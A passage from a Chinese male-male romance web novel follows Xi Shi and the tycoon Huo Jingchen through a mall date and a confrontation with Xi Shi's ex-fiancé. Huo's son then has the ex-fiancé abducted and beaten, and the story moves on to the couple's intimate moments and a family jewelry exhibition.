商场的一楼是金店,有对男性情侣在门口闹别扭,好像是一方想要买个很贵的饰品,另一方不给买。 奚时听了一耳朵,走上扶梯后,抱着霍景沉的手臂,缺德地学舌撒娇:“哥哥,我想要那个钻石胸针,给我买嘛。” 霍景沉不知道奚时这是什么恶趣味,但还是配合地说:“太贵了,网上给你买个高仿。” 他这话是在学刚才那个男的,然而,他们没注意到,旁边往下的扶梯,有个熟悉的面孔,在听到霍景沉这句话后,不可思议地回头看向他们。 奚时拍了一下霍景沉的手臂,说:“你不应该说我把这个金店承包了任你拿吗?” 霍景沉看了眼楼下商场的那金店logo,说:“这个牌子不行了,不过我可以把它收购了给你玩,这样你就有机会跟你哥抗衡了。” 奚时:“……” 人家是承包鱼塘,你是收购金店是吧。 霍景沉却似乎觉得这个主意不错,说:“我先让人联系他们的负责人问问。” 说着他要拿出手机,被奚时按住手。 奚时无语地说:“哥,收了你的神通吧,我对做生意没兴趣,你养我不行么?” 这句话戳中了霍总最愉悦的点,果然收了神通,没再谈收购金店的事。 可能是咖啡喝多了,到了私房菜馆后,奚时有点内急。 但跟每一个在商场的饭店一样,这餐馆里面并没有洗手间,奚时霍景沉先点菜,自己去外面上洗手间。 洗手的时候,奚时听到有人叫他:“奚时。” 是邵寻。 靠,真晦气。 奚时不想搭理他,但邵寻跟看不懂人脸色似的,走到他旁边,说:“好巧。” “可不,踩狗屎都没这么精准。”奚时一点不留情地说完,转身就走。 邵寻却跟着他走出来。 就在刚刚,他坐扶梯下楼时,听到一个熟悉的声音,转头一看果然是奚时,他身边还有个男人。 当时,汪洋在地下停车场偷拍了奚时和他那个老男人对象的照片,邵寻有看过没打码的照片,就是现在和奚时在一起这个男的。 没想到这么久了还没分。 今天这男的一身休闲打扮,倒也没之前照片上看起来那么老,甚至还相当年轻好看,和奚时站在一起连他都觉得般配。 但这男人也太抠了,奚时都那样子跟他撒娇了,连个胸针都舍不得给他买,更过分的是他还要去网上给他买高仿,把奚时当成什么了? 邵寻本来就存了要把奚时追回来的心思,撞见这一幕之后更坚定了决心。 “等等,奚时,我有东西给你。” 邵寻说着边从兜里拿出一个盒子,打开,递到奚时跟前。 奚时瞥了一眼,只见盒子里,躺着一枚钻石胸针,那胸针是玫瑰花型的,外面用不知道是白金还是白银做出一瓣瓣玫瑰花的样子,花蕊的位置镶嵌着一颗璀璨夺目的钻石。 电石火光之间,奚时好像明白了什么。 他放慢脚步,似笑非笑:“干嘛送我这个?” 邵寻没想到奚时能对他有好脸色,赶紧说:“我刚刚坐电梯时,听到你问那个男的要买这个,我很少听你开口主动问人要什么,猜测你应该是喜欢,就去帮你买来了。” “多少钱啊?”奚时问。 “很便宜,才一万多,你要是喜欢这种,我回头让人专门给你定做几个更符合你身份的高定款。” “好啊,”奚时居然想也不想地答应了,邵寻还没来得及高兴,就听奚时说,“要镶嵌鸡蛋大的钻石,没那么大的我男朋友不喜欢。” 邵寻:“” “小时,你别开玩笑了。” 奚时立刻翻脸:“舍不得送啊,那算了,我不跟抠/逼说话,滚!” 那种鸡蛋大的钻石,奚时听说过,能拍出两亿的价格,邵寻但凡毫不犹豫地答应了再说别的,奚时还敬他是个真男人。 想想霍景沉为了跟他哥表真心,给他的那份财产转让合同,里面吓人的数字,那才叫砸钱。 就邵寻这想装阔又舍不得钱的抠样还想吃回头草? 吃屎去吧! 邵寻从小到大,还是第一次被人骂抠,脸色有点不好看。 “我是抠,那那个一万块的胸针都不舍得送你的男人又是什么?” 奚时听笑了,他回头,看向邵寻:“他是我用你那一千万包养的对象,他好猛的,谢谢你噢。” 邵寻:“” 霍景沉点好了菜后,迟迟不见奚时回来,他手机也没带,正想起身出去看看时,才看到奚时走进来。 “捡到钱了?”霍景沉见他一脸春风得意的,调侃道。 “是啊,捡了一千万。”奚时笑眯眯地说。 一想到刚刚邵寻那吃了屎的表情,奚时心里就无比痛快。 晦气东西,也不知道脑回路是怎么长的,跑他面前来找骂。 奚时走后,邵寻握着装胸针的盒子,忽然一拳砸在旁边的墙上。 这里是商场,人来人往的,看到他忽然砸墙,都以为是什么疯子,赶紧绕着他走。 邵寻想过奚时跟这个老男人在一起,是贪恋他的美色,但没想到贪恋到用钱包养他的地步。 还是用的他给的钱。 当时就应该给个10万百万的,奚时就没这个钱包养他了。 这样说不定奚时现在还是单身,只要他多低头道歉再示好,就把人追回来了。 不过也没关系,邵寻的嘴角浮起一抹冰冷的笑意,能为了钱出卖身体的男人,都是软柿子,好拿捏得很。 奚时和霍景沉吃完午饭后,决定在这商场里逛逛,他们像普通情侣一样手拉着手,看到感兴趣的商店就进去看看,不过看了一大圈下来,愣是两手空空,什么都没买。 到了一个电玩城,奚时碰到了一个朋友。 两个人也许久没见了,聊了几句,那朋友想到什么话想跟奚时说,欲言又止地看了眼霍景沉,霍景沉说:“我去外面打个电话。” “那你在娃娃机那里等我。”奚时跟他说。 “好。” 娃娃机刚好摆在一家海底捞的旁边,这时已经过了午饭时间,海底捞等位的位置基本空着,霍景沉于是在一个空位置上坐下来等奚时。 他刚坐下,对面的椅子上坐下来一个青年。 “不介意我坐这里吧?”青年说。 海底捞也不是霍总家开的,他不置可否,低头解锁手机,听到青年说:“我是奚时的前任。” 霍总原本没在意他的,听到这话,倒是抬起头,用打量的目光看了青年一眼,迅速做出评估。 长相还行,身板不行,没有一点吸引奚小时吃回头草的资本。 霍景沉大发慈悲地“哦”了一声,没让他唱独角戏。 主要是想看看他要干嘛。 “奚时是燕京珍珠世家奚家的二公子,你应该知道。” 霍景沉:“所以?” “所以,他以后的结婚对象,一定会是跟他门当户对,或者门第比奚家高的,他迟早会把你甩掉,据我所知他哥已经在给他介绍对象了,这一天说来就来。” 霍景沉:“……” 霍景沉挑了下眉。 有意思。 “我也不跟你绕圈子,”青年说,“我现在还很喜欢他,跟他家世也匹配,把他追回来是迟早的事情,我不喜欢任何人觊觎染指我的人,所以,我希望你离开他。” 他的人霍景沉眼中闪过一丝冰冷的嘲弄,表面还是无波无澜,顺着他的话问:“好处呢?” 青年闻言冷笑了一声,眼中的不屑完全不加掩饰,大概是在鄙夷霍景沉的贪财。 “只要你离开他,我给你100万。” 青年手中的手机震动了一下,他把一张字条推到霍景沉面前,说:“这是我的联系方式,丑话说在前头,我有的是办法让你彻底消失在燕京,识相地自己拿了钱体面地离开。” 说着,他站起来,说:“给你三天时间,你可以回去好好考虑,考虑好了打上面的电话联系我。” 说着,他转身离开了。 他的身影刚消失不久,奚时就出来了,霍景沉不动声色地把那张纸条揣进兜里,并没有让奚时发现异样。 奚时走过来,拉着他说:“走走走,我们夹娃娃去。” 霍景沉顺着他的力道往娃娃机走,问:“刚刚那个是你很要好的朋友?” “也不算要好啦,就是以前有一段时间来往比较密切一点。” 霍景沉一本正经地说:“我懂一点面相,看他的样子不像什么好人,以后最好别来往了。” 奚时被他逗笑了,问:“真的假的,没想到霍总你浓眉大眼一身正气的,还搞封建迷信这一套啊,来来来,帮我看看,我是什么面相。” 霍景沉真认真地看起奚时的脸来,看了片刻后,很严肃地说:“你面相端正,眼神柔和,人中清晰,眉宇间隐隐有紫气缭绕,一看就是旺夫相。” 奚时一开始听他掰扯,还以为他真的懂,听到旺夫相三个字才发现他在胡说八道,故意说:“好好好,原来你想跟我在一起,是看中我的面相,能旺夫啊!” 霍景沉:“” 霍景沉无奈地揉他的头,说不过他。 邵寻并没有走,他在不远处的拐角看着这二人亲密互动的样子,垂在身侧的手慢慢握紧。 该死的,以前奚时跟他在一起时,从不让他碰头,更不用说这样子被男人揉来揉去了。 这男人,虽然只是他包养的,威胁却不是一般大,必须赶紧分开他们。 娃娃机里有一只青蛙玩偶,被cosplay了一周青蛙的奚小蛙一眼相中,霍总不负他所望,花了7个币就把它夹出来了,收获了老婆崇拜的眼神。 夹完娃娃,时间也差不多了,两个人又回到咖啡厅,继续写实践和周末加班。 霍景沉以前也经常周末会加班,毕竟男人么,没老婆也没对象,除了加班就是吃喝玩乐,而霍总又不怎么喜欢吃喝玩乐,那只能加班了。 但从来没有一次班,加得像今天这样愉快,一抬眼就能看到喜欢的人坐在对面,时不时目光还会撞上,然后相视一笑,岁月静好。 奚时把实践报告的尾巴写完,又修修改改,润色增色完后,觉得没问题了,关掉电脑,才发现外面天色已经暗下来了。 “都这么晚了。”奚时看了眼时间,已经六点了。 “嗯,带你去吃饭,然后去我公司参观一下,看看夜景?”霍景沉提议道。 “好啊好啊!” 奚时对霍景沉的公司还挺感兴趣的,那么高大一层楼,都是他的,里面肯定很气派吧。 尤其是霍景沉的办公室,他特别好奇首富这种人的办公室,到底是怎么样的。 两个人去附近吃了点东西,奚时就迫不及待地跟着霍景沉往他的公司大楼走,今天虽然是周日,这门口也还是有保安值守,看到霍景沉,恭敬问好。 霍景沉牵着奚时,走到电梯,这里的电梯是人脸识别的,他们走过去时,墙上的机械女音提示识别通过,电梯也自动感应下来,打开。 奚时感觉自己像乡巴佬,跟着霍景沉走进电梯,故意说:“霍总,小的以后来找您,是不是还得预约啊。” 霍景沉好笑地说:“明天我把你照片发给后勤,让他们给你录一下,以后就可以刷脸进来了。” 奚时说:“那后勤问你这是哪个部门的要登记怎么办?” 霍景沉心说他们没那个胆子问,他故意想了想,有点为难地说:“确实不好办,你说该给你一个什么身份好?” 面对霍总的循循善诱,奚时眼珠子转了转,促狭地说:“那你就说是嗯,干儿子,怎么样?反正我只比思议大两岁。” 霍景沉:“” 霍景沉的手搂上奚时的腰,暧昧地在他柔韧的腰线上逡巡,说:“你要在床上喊干爹的话,我也不是不能接受。” 奚时:“” 靠!变态啊! 这是电梯到了,霍景沉带着奚时走出电梯,这会儿由于是周末,又是夜晚,楼层里非常安静。 霍景沉打开灯,带着奚时一边往自己的办公室走,一边给奚时介绍这里区域的职能。 这一层都是董事长专用的,不过当然不可能只孤零零地建个董事长办公室,他的助理团和秘书团也都在这层办公,除此之外,还有会议室、待客室、休闲区等,甚至还有个健身房。 奚时终于知道霍景沉为什么能维持这么好的身材了,这是上班之余都要来健个身的节奏啊! 参观完外面的,霍景沉带他停在一扇挂着“董事长办公室”的门口,用指纹解开锁,打开门进去。 这就是他的办公室了。 霍景沉打开灯,奚时眼前有种豁然开朗的感觉,这里比他想象的还要奢华,特别是那可以俯瞰小半个燕京夜景的大扇落地窗,视野和位置都是精心设计过的,简直好到逆天。 “腐败啊霍总。”奚时感叹。 霍景沉在办公椅上坐下来,又捞着奚小时的腰,让他坐在自己的腿上,说:“以后你也共享腐败。” 两个人度过了纯洁的一天,这会儿没人,都有点按捺不住,也不知道是谁主动,总之没一会儿,两个人的呼吸就交融在了一起。 他们都不是太有节操的人,加上什么亲密的接触都有了,亲着亲着,奚时就被霍景沉抱在了办公桌上,衣服扣子被解开,霍景沉的吻一路往下,奚时抱着他的头,仰着脸咬住嘴唇。 正在这时,奚时的手机忽然响了起来,霍景沉不管,继续在奚时胸前作乱,奚时推他:“是是我哥的电话。” “”都交往了,这大舅哥为什么还阴魂不散! 霍景沉只能暂时放过他,帮奚时从地上捡起外套,摸出手机。 奚时深吸了几口气,让语气平稳,才敢接起电话:“哥,怎么啦?” “不早了,”奚朝明示,“快点回家。” 奚时知道他哥是防着他会被霍景沉拐回家,坐少儿不宜的事情,完全不敢让他哥知道自己早跟霍景沉不清白了,乖乖“哦”了一声,说:“就回来。” 挂掉电话后,奚时无辜地看着霍景沉:“我要回去了。” 霍景沉看着眼前的春光,叹一口气,深知大舅哥现在还对他防备着,该徐徐图之,只能帮他把衣服拢好,说:“我送你。” 奚时在他下巴上啃了一口:“有机会的。” 霍景沉眉宇间不爽的阴云这才散了一点。 把奚时送回家后,霍景沉也回了家,他把外套脱下来,正要递给管家时,想到什么,从外套口袋里摸出一张字条。 根据能量守恒定律,大舅哥让他不爽,他就让别人不爽。 第55章 第 55 章 霍景沉拿着那张写有号码的字条走进自家客厅, 发现这会儿应该在学校的逆子正坐在客厅的沙发上。 客厅电视机开着,他看着像在看电视,游离的眼神却透露着他在发呆的事实。 霍景沉示意保姆给他来一杯温开水, 转而走过去在霍思议旁边坐下来,拿起遥控器把电视声音关小了一点。 “明天没课?”他问。 霍思议犟着脸:“你管不着!” 霍景沉知道霍思议在跟他置气, 说:“我管不着, 那我让你后妈来管?” 霍思议:“……” 霍思议被后妈两个字气到了。 臭不要脸的, 都还没结婚,就叫上后妈了。 看这炫耀一样嘴脸, 也不怕以后翻车! 呵!翻车最好, 到时候他就把学长追过来, 让学长跟着他叫爸,在他面前秀恩爱,气死他! 哦,再领养一个崽崽,叫他爷爷就更好了, 让他好好端正自己的辈分和年纪。 霍思议脑补了一堆他们分手后的剧情,却见霍景沉真拿出手机, 打开微信, 戳开奚时的聊天框,一副真要找他来管的样子,霍思议只能屈辱地说:“我失恋了,不想上课。” 霍总作为让儿子失恋的源头, 一点心虚都没有。 “那刚好, 我也觉得大学没什么好读的, 明天开始去上班吧,我给你安排一个职位。” 霍思议:“……” 霍思议好气:“你是不是用了什么阴险手段蛊惑学长?” “是又怎么样, 不是又怎么样,机会放在你眼前,你自己不懂得抢占先机,怪别人用阴险手段?” 霍景沉毫不客气地给这失恋儿子上课。 “哼!学长知道了迟早跟你分开!” 霍景沉摸儿子狗头:“少想些不可能的事情,你要是心里不痛快,我倒是可以给你一个发泄的机会。” 霍思议躲开他的手,听到发泄机会几个字,狐疑地上下打量自家老爹,似乎在评估该从哪里下手。 他还是很怵他爸的,但他爸主动让他揍,也不是不行。 果真是个大孝子呢。 霍景沉一巴掌拍到他后脑勺上:“还把主意打我头上了,信不信我先抽你。” 霍景沉被他爸又是摸头又是拍后脑勺的,不爽地挪到另一个沙发上。 “那你说怎么发泄?” 霍景沉把手里那张纸条放茶几上:“这是你学长之前的人渣未婚夫联系方式,他今天威胁我,说给我一百万,让我离开你学长。” 霍思议:“……” 这是什么地狱笑话。 还一百万,打发叫花子啊。 霍思议撇了撇嘴:“你自己的情敌,叫我帮你摆平,你自己不行啊。” “那算了。” 霍景沉说着伸手要拿回纸条,被霍思议手疾眼快地拿走了。 “算了,看在你一把年纪的份上,我就帮帮你吧。” 霍思议说完,怕被他爸揍,赶紧跑了。 管家刚刚还忧心忡忡,生怕这父子二人一言不合就打起来,现在看到霍思议还是怕他爸的,逃也似地跑了,松一大口气。 好险,这个家差点散了。 不过想到这个家里很快又要迎来一位主人,管家心里还是很开心的,这下终于不用操心家主会孤独终老的问题了。 —— 邵寻自从被逼迫公开向奚时道歉,承认退婚是自己不行后,彻底沦为了笑话。 他原本在自家公司任财务总监一职,虽不如他继兄权利滔天,但作为首席财务官,也能接触到公司的核心权力,而且大家都知道他是“二皇子”,母亲是董事长的现任夫人,以后谁当家做主还不好说,所以其他高层对他都客客气气的。 后来他连续被霍家打压,地位一落千丈,他父亲明哲保身,几乎把他踢出了邵家的权力中心,后面他公开道歉,承认自己不行的事实后,更是成了一颗弃子,连邵夫人都歇了让他争权的意思,只想让他远远出国躲避风头,过几年再回来。 然而出人意料的,他并没有躲出国,反倒自己申请调岗,去了他们家新收购的一家小公司,看样子准备从零开始积累,干出一番事业来。 可真正从零开始,邵寻才知道有多难,他又想起来和奚时确定联姻那段时光,是他人生中最风光的一段时光。 凡事都顺风顺水,他继兄都被他压了一头,底下那些人几乎拥他为“太子”,都觉得下一任继承人肯定是他了。 也正是因为如此,他才会膨胀,目空一切,然后为了白月光摒弃这段联姻,给了他继兄反扑的机会,拥趸他的人大失所望。 其实都不用霍家打压,从决定退婚那一刻起,他就输给他继兄了。 不过,他失去了继承权,奚家现在也因为奚锦年出轨丑事,一落千丈,只要他追回奚时,虽然不像以前一样强强联合,但也不用像现在这样,步步维艰。 而且他真的后悔了,现在也是真心想要和奚时破镜重圆。 重圆的前提是,先把他身边那个碍事的软饭男赶走。 今天,他收到了那个软饭男给他的消息,说要他离开奚时可以,他必须要先见到钱,邵寻跟他约了见面的地点,下班后揣着一张一百万的支票就过去了。 谁知,他刚停好车下来,就眼前一黑,头上被人快准狠地套上了一个黑色的东西,他甚至还没来得及呼救,就被套着他头里面过量的□□直接放倒了。 等他再次醒来,发现自己躺在粗糙冰冷的地板上,手脚都被捆缚着,嘴也被封住,身边围着几个看着就不好惹的男人,见到他醒来,其中一个领头的打了个电话。 半小时后,一个几乎还算是少年的男生走进来。 看清来人,邵寻瞳孔骤缩,来人居然是首富之子霍思议。 霍思议走上前,看清他的长相后,嫌弃地说:“这么丑,我学长当初是被多少层猪油蒙了心,才会跟你订婚。” 邵寻:“” 邵寻只跟一个人订过婚,霍思议这样子说,难道他也喜欢奚时? 他简直难以置信,连霍思议这种人都会被奚时吸引。 那跟霍思议比起来,他还有什么竞争力? 不,霍思议是首富之子,首富是绝对不会允许他跟奚时在一起的,家世完全不对等,他对奚时肯定只是玩玩而已。 不像他,是真心想要和奚时过一辈子的。 他家世外貌不如霍思议,但他有一颗真心。 邵寻很快冷静下来,他想说什么,可嘴被胶布封住了,说不出话来,只能发出“唔唔唔”的声音。 霍思议示意他的人把他嘴上的胶布撕掉,嘴自由后,邵寻呼出一口浊气。 首富之子虽然用这么不客气的手段把他绑过来,但他也不敢有怨言,甚至好声好气地说:“现在跟奚时在一起的是一个老男人,你应该去找他麻烦。” 老男人 霍思议差点憋不出笑出来,他饶有兴致地问:“什么老男人?” “是奚时现在包养的对象,有几分姿色,但极其贪财,我说给他一百万,他立刻就答应离开奚时,他就是个贪婪爱钱的软饭男,这种人不配待在奚时身边。” “是这个人吗?” 霍思议拿出手机,跟他看照片。 邵寻看到他手机里,和霍思议并排而立的男人,瞳孔再次震颤。 他不可置信地看着照片里的男人,想把他和那天在商场里看到的那个男人区别开,然而无论他怎么看,都是一个人。 原来难道今天霍思议把他绑过来,是为了帮这个男人出气? 那霍思议怎么会为他出头,难道这个男人,他还不止有一个金主? 有可能,毕竟长成这样出来卖,应该会有不少少爷喜欢。 “是他,抱歉霍少,我不知道他也是你的人,我……” 他的话还没说完,脸上挨了霍思议响亮的一巴掌。 “去你妈的人,听好了,他叫霍景沉,或者你也可以叫他霍沉,是我爸。” 邵寻也不知道是被打懵了还是被这个消息震懵了,整个人愣在原地。 霍思议的爸,那不是,那不是 可奚时明明说他包养的那个老男人,难道其实是奚时被那个男人包养了? 霍思议看他表情就知道他在想什么龌龊事,他还以为学长曾经的未婚夫,肯定也是个人物,没想到就是个蠢货,顿时失去了兴趣,对那些人说:“动手吧。” 几个男人摩拳擦掌,一副要打人的样子,邵寻吓得魂飞魄散,说:“别打我,你们不能打我,你们这样是犯法的!” 霍思议嗤笑:“听到没,犯法,都给我小心点,避开要害部位,别把人打残或者打死了。” 邵寻:“” 拳脚雨点似的落下来,霍思议抱臂看了一会,随即掸了掸自己身上不存在的尘土,冷冷丢下一句“老子还在后面拿着爱的号码牌,你什么档次想吃回头草?”就离开了。 凭他也配? —— 奚时一周后才从秦铭天那里听到邵寻出国的消息。 “据说不知道被谁打成了猪头,样子惨不忍睹,差点进ICU,我给你发照片啊。” 奚时此时正在放学回家的车上,瘫在后座跟秦铭天通着话,秦铭天说完手机震了一下,奚时打开来看了一眼,见到鼻青脸肿几乎要看不出本来面目的邵寻,噗嗤一声笑出来。 “更丑了。”奚时评价。 “是吧,我当时看到这照片也笑死了,我听说,他自己恢复了一点后,就嚷嚷着要报警,谁知警察没等到,等到一张连夜把他送出国的机票,还是他继兄亲自押解,不知道送哪了。” 奚时想了想说:“大概是跟他的小情儿汪洋团圆去了。” “不能吧,他们不是分了?” 奚时哪里知道,其实他对邵寻啊汪洋啊这些人的事情,完全不感兴趣,他现在和霍景沉感情和睦,眼前人即心上人,日子过得别提多舒坦。 唯一美中不足的是,霍景沉事情太多,他们刚确定关系没几天,他就出差了,到现在都没回来。 唉,这恋爱谈了跟没谈也没区别。 车子很快到了他哥的楼下,回到家后,奚时吃完饭,开始做专业课老师留的作业,等他写完,已经9点多了,他哥还没回来,霍景沉那厮也没给他打视频。 奚时正要去洗个澡,手机嗡嗡震动了两下,是霍景沉给他发的消息。 景沉:下来宝宝,我在你楼下停车场。 奚时:“!” 他立刻放下睡衣,抓起手机和外套,往门外走,可惜电梯不争气,还在一楼,奚时一边等电梯,一边给霍景沉回消息。 你咋不上天:我没在家。 景沉:我看到你家有灯。 你咋不上天:那是我哥在家。 景沉:你哥睡你房间? 你咋不上天:[瞪眼] 你咋不上天:不是,你没来过我哥家吧,你怎么知道哪个是我房间? 景沉:根据平时跟你视频时,你房间窗户和门的位置猜的。 景沉:你房间面对的方向是世贸那边,开窗可以看到景观湖,是吗? 这时电梯到了,奚时走进电梯,给霍景沉回了一串超长的省略号。 你咋不上天:你副业是变态吧霍总?! 靠,他也就在他哥在跟霍景沉视频过几次,而且基本都是躺床上,这霍景沉都能根据蛛丝马迹猜出来,这要是去做变态跟踪狂,哪里还有别人什么事! 细思极恐有木有。 要不人家怎么能做首富呢? 景沉:我不是正业你男朋友副业你干爹? 你咋不上天:按照包养规则,一般出钱的那个人才是干爹,所以,我才是你爹。 景沉:也不是不行。 奚时:“” 这天还能不能聊下去了! 这时电梯到了负1楼,奚时干脆收起手机,走出电梯后一眼看到了一辆簇新的SUV,那车酷得很,两米多高,视觉冲击力很强,有种老子来了通通闪开的霸气。 霍景沉倚在车边马上看手机,听到电梯开门的声音抬起头,看到奚时走出电梯后小炮弹一样冲过来,赶紧张开双手,稳稳地接住了奚小炮弹。 “不错,手真稳,”奚时拍拍霍景沉的手臂,说,“还是我那个孔武有力的老男人。” 霍景沉:“” 虽然但是,老字大可不必加。 他低头想亲吻奚时,被奚时挡住,他鬼鬼祟祟地看了眼四周,没看到他哥的车,松了口气,说:“上车再亲。” 霍景沉好笑地拉开车门,说:“你哥不是同意我们在一起了?” “他要是看到你亲我那么熟练,还喜欢动手动脚的,就未必同意了。” 霍景沉:“” 亲老婆时摸摸腰揉揉屁/股也叫动手动脚了吗? 不过革命善未成功,霍总顺应奚时的意思,坐进车里,才敢抱着老婆亲吻缠绵,补上这一周看得到摸不到的相思之苦。 腻歪完毕,奚时窝在霍景沉怀里,打量起这辆SUV来,里面空间宽敞舒适,两个大男人窝在后座,一点都不显局促。 “这是你的新车吗哥?”奚时问。 “给你用的,你不是嫌弃你哥派去接你的车太窄,坐着不舒服?” 奚时:“” 他有说过吗? 估计有吧,奚时不太记得了,他忍不住拍了下霍景沉的手臂:“我明天要是随口抱怨一句学校教室太挤,你是不是还得给我们大学捐教学楼?” “那不至于,”霍景沉说,“主要是多给你送一些你哥看得到的东西,他才能对我印象改观,放心把你交给我。” 奚朝可是个弟控兼控制狂,别以为谈恋爱他们就自由了,他哥大概生怕他还没了解霍景沉,就被他骗床上去,管得不比以前松。 他规定他们交往的前三个月,他晚上10点以前必须到家,不准去霍景沉家过夜,更不准跟他去酒店开房。 不得不说这控制欲,跟奚夫人比有过之而无不及。 知道的知道奚时是他弟弟,不知道的还以为是他养在深闺的小女儿。 但奚朝这种行为又并不让人讨厌,毕竟他的初衷,只是怕自家弟弟被霍景沉这种老狐狸欺骗玩弄。 所以奚时对他这个做法并无异议,表现得像个乖巧听话的乖乖男,实际上私底下黄和色都来。 他们浑身上下,大概只剩霍总的菊花是清白的,咳咳咳。 说起门禁,奚时掏出手机看了眼时间,暗示意味十足地说:“哥,现在才9点半不到。” 霍景沉会意,说:“我把车换个隐蔽点的位置。” 不过这里毕竟是地下停车场,经常有人经过,他们没真枪实弹地上,只用手。 只是还没十分钟,刚刚还跃跃欲试的奚小时就开始划水喊累,霍总只能亲自给两个人服务,把奚小时服务得像只餍足的小猫,发出哼哼唧唧的声音。 最后,霍总坏心眼地把两人的东西都弄到了奚时的裤子里,帮他穿好,说:“快十点了,回去吧,车我就停这里,跟你哥说一声。” 奚时一听到要十点了,原本迷离的眼神一下变清澈了,手忙脚乱地整理衣服下车,走了两步才发现裤子里的异样,一下红了脸,回头瞪了霍景沉一眼,又赶紧回去了。 奚朝也刚到家,看到他这么晚回来,说:“霍景沉回来了?” 奚时低头换鞋,“嗯”了一声。 “这么晚回来,没背着我干什么坏事吧?” “当然没有!”奚时立刻否认。 经过这么一段时间的斗争,奚时在他哥面前已经有点撒谎的本事了,并不会一眼被他哥看穿:“他也就才到没多久。” 奚朝“哦”了一声。 看到自己蒙混过关,奚时松了一口气,他现在某处黏腻难受,很想回去洗澡,但又因为心虚,没急着走,见他哥一脸疲倦,没话找话地说:“哥,你最近很忙啊?” “嗯,还有半个月的时间就要举办展览会,这是我上任后举办的第一个展览会,不能办砸。”奚朝说道。 他们家做珍珠珠宝的,每年年底都会举办一次珠宝展览会,展出的除了这年度卖得好的珠宝,还有他们的珍贵藏品和非卖品,珍贵藏品会当场拍卖出售。 除此之外,还有最重要的是展示明年的新款,和巴黎时装周有异曲同工之妙。 这个展览会每年都会邀请许多行业内的大人物,以及豪门千金太太和明星到场,也算是一大盛会。 只是今年估计他们家发生了那种事情,一些大人物会不愿意来,要是办得不体面风光,他哥这还没扎稳的脚跟估计又要被人挖出来踩一遍。 奚时帮不上他哥忙,只能说:“加油哥,你连最艰难的时候都挺过去了,做什么都会成功的!” 奚朝笑了下,说:“我还要加会班,你帮我去煮一杯咖啡。” 奚时:QAQ 尽管奚时很想回房间去洗澡,但还是乖乖地去帮他哥煮了咖啡。 等他终于可以回房间洗澡时,那堆东西因为他走路,糊得到处都是,一向黄暴的奚时又羞又恼,洗完澡后连夜给霍景沉的微信投了十几个地/雷。 景沉: 景沉:怎么了? 你咋不上天:你还有脸问! 景沉:没办法,你偷懒,我一个人干两个人的活,最后手都软了,没接住。 你咋不上天: 是没接住还是故意的你自己心里没点逼数? 奚时不想理他了。 没一会儿,霍景沉的消息又来了。 景沉:是不是再过半个月,我的实习期就结束了? 奚时看了眼时间,还真是。 景沉:如果考核过了,我可不可以要求公开? 你咋不上天:怎么公开,在你们公司官微发个公告,庆祝董事长脱单吗? 景沉:好主意,采纳了。 你咋不上天:不准! 景沉:开玩笑的,我是想以你男朋友的身份,去你们家办的那个珠宝展览会。 奚时:“” 奚时记得霍景沉从来不凑这种热闹的,要是他在他们家珠宝展览会露面,他不敢想象那盛况。 很明显,霍景沉是想捧他们家。 你咋不上天:[对手指]这事情,估计还是得征得我哥的同意。 毕竟奚朝这么要强,不一定会接受霍景沉的好意。 说不定他还会觉得霍景沉在施舍他们家。 景沉:嗯,你问问他。 距离珠宝展会就半个月的时间了,而且奚朝会越来越忙,奚时怕他后面家都不回,于是干脆就在第二天吃早饭时,奚时见气氛不错,转达了霍景沉的意思。 “当然,你不愿意他来就算了,我也只是问一下。”奚时立刻补充说。 奚朝喝了一口牛奶,问:“是他自己提出要来的?” “嗯,他说想公开” “哼,借着我们的场子跟你公开,这老东西挺会抢风头。”奚朝阴阳怪气地说。 奚时马上怂了,说:“那算了,我也觉得谈个恋爱而已,又不是订婚,没必要搞得这样人尽皆知的。” “谁说的没必要!”奚朝的反应出乎奚时的意料,“我看有必要的很,就让他来,晚点我把邀请函发给你,你发给他。” 奚时怀疑自己是不是听错了,他觑着他哥的神色,忍不住问,“你不介意啊哥?” “我介意得很,介意你就能换一个对象么?” 奚时:“” “不是说这个,就是,他来了,以后肯定会有风言风语说你的成功是靠霍家,你会介意吗哥?” “我介意有什么用,反正你们关系迟早要公开,我迟早要被这样说,既然如此,不如早早地先把这个红利吃了,我还能少掉几根头发。” 他不仅要吃这波红利,还要借此造一波势,物哦,是霍尽其用。 第56章 第 56 章 奚家每年一度的珠宝展览会, 都会邀请许多有头有脸的大人物,属于时尚界的一大盛会,不少小明星小网红, 为了拿到一张入场券,不惜付出各种代价。 但也有不少身处高位之人, 特别是一些注重攀比的豪门太太千金, 对此不屑一顾, 而且奚家还出了那样子的丑事,更是觉得连接他们的邀请函都是自降身份。 加上他们集团内部还有自己人当搅屎棍, 更是把场面搅得一团乱。 总而言之, 没几个人看好奚家这个珠宝展览会。 就在众人都以为这个珠宝展览会会变成小明星和网红的聚会后, 有“知情人士”透露,将有一位神秘的超级大佬会出席此次的珠宝展览会,只此一次,错过将遗憾终生。 这个小道消息跟娱乐圈狗仔爆料一位千万级粉丝的顶流恋情,结果又是几个平台粉丝加起来一千万的糊咖一样不可靠, 有脑子的人都知道这就是一种营销造势的手段。 但由于有霍思远出现在奚玥生日派对上这个前车之鉴,这个消息又似乎没那么离谱, 虽然上次奚锦年和奚夫人的珍珠婚宴上这位没出席, 但这也不代表他们闹翻了呀。 说不定奚朝上位后,又把这段关系修好了呢。 一时间,这个消息就像是一根挂在驴面前的胡萝卜,钓得人纠结不已。 等到展览会这天, 还是有许多人禁不住诱惑, 盛装出席, 场面虽然不如去年奚家和邵家确定联姻时辉煌,但和往年比起来, 也不差多少了。 一些准备等着揪奚朝小辫子狠狠清算的高层气得磨牙。 但能把人请来并不代表成功了,要是奚朝只是借霍思远造势,其实他并没有来,那么他们集团的信誉将一落千丈,到时候也能和奚朝清算。 奚时并没有选择和霍景沉一起来,他一大清早就和他哥去现场帮忙了。 奚家除了他俩,奚玥也来了,作为前任董事长,原本奚锦年也要出席,但奚夫人自己嫌丢人不肯来,也闹着不让他来,奚夫人就是那种我不好过不风光,你也休想好过休想风光的。 奚朝也觉得他爸不出席挺好,省得让宾客想起旧事,于是一锤定音让他老人家也别去。 奚锦年气得半死,可奚朝现在才是当家人,说一不二,奚锦年也拿他没办法。 以前奚玥看到奚时就会阴阳怪气,或者暗搓搓pua他。 但也不知道是被奚朝说了还是别的原因,总之她这次见到奚时,一副不敢怒也不敢言的模样,看样子跟在窝囊和受气之间选择了受窝囊气一样。 奚时有点怀疑,不会是被霍景沉收拾了吧? 但他哥对这个妹妹的疼爱并不低于对他的,要霍景沉真做了什么,他肯定不会这么轻易松口他们在一起。 不过霍景沉真要做什么,估计他哥也查不出来就是了。 算了,不管,奚玥不找他麻烦就行,管她遭遇了什么,他又不可能同情她。 